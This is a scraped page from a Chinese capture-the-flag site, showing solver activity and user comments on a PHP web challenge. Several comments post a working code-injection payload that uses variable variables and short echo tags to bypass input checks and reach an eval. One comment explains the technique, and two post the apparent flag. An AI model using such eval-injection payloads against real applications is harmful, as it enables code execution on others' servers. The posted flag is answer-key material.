评分(6)
解题动态
风掠 攻破了该题 1天前
1柒1 攻破了该题 2天前
小懒 攻破了该题 3天前
CCC1112 攻破了该题 3天前
gc 攻破了该题 3天前
不想起名 攻破了该题 4天前
KN11 攻破了该题 4天前
qiuke 攻破了该题 5天前
世界你好 攻破了该题 6天前
LakeFlasher 攻破了该题 7天前
chenlinXdb 攻破了该题 7天前
能工智人 攻破了该题 9天前
小楼一夜听春雨 攻破了该题 9天前
fjakjasdhfa 攻破了该题 10天前
qi1102 攻破了该题 11天前
暗流安全 攻破了该题 11天前
woshicaocao 攻破了该题 14天前
爱喝甜水 攻破了该题 15天前
suming 攻破了该题 16天前
评论
YUMEKO 2年前
举报
http://xxxxxxxxxx/?flag=$a='fla9';$a{3}='g';?><?=$$a;?>111111111111111333
Daniel2023 2年前
举报
payload: /?flag=$a='fla9';$a{3}='g';?><?=$$a;?>111111111111111111
coo1an 3年前
举报
1、长度是年9, 2、利用短标签和替代,<?php echo $flag;?>使用短标签(<? echo $flag;?>,,再继续使用短标签替代echo ,<?= $flag;?> flag=$f=%274lag%27;$f{0}=%27f%27;?%3E%3C?=$$f;?%3E111111111111111111
110-没办法 3年前
举报
flag{78062956}
wxy1343 3年前
举报
flag{78062956}
w登临意 3年前
举报
好难
阿Q啊 3年前
举报
但是不精通php不会写,就很难受,只能看别人的writeup的payload
阿Q啊 3年前
举报
这题关键在于eval函数,绕过前面几个if的判断条件进入到最后一个if判断条件,由于存在eval函数,可以构造php代码执行,直接输出flag,这题有意思!!
哎嘿嘿1314 4年前
举报
牛皮
golangboy 4年前
举报
新知识get了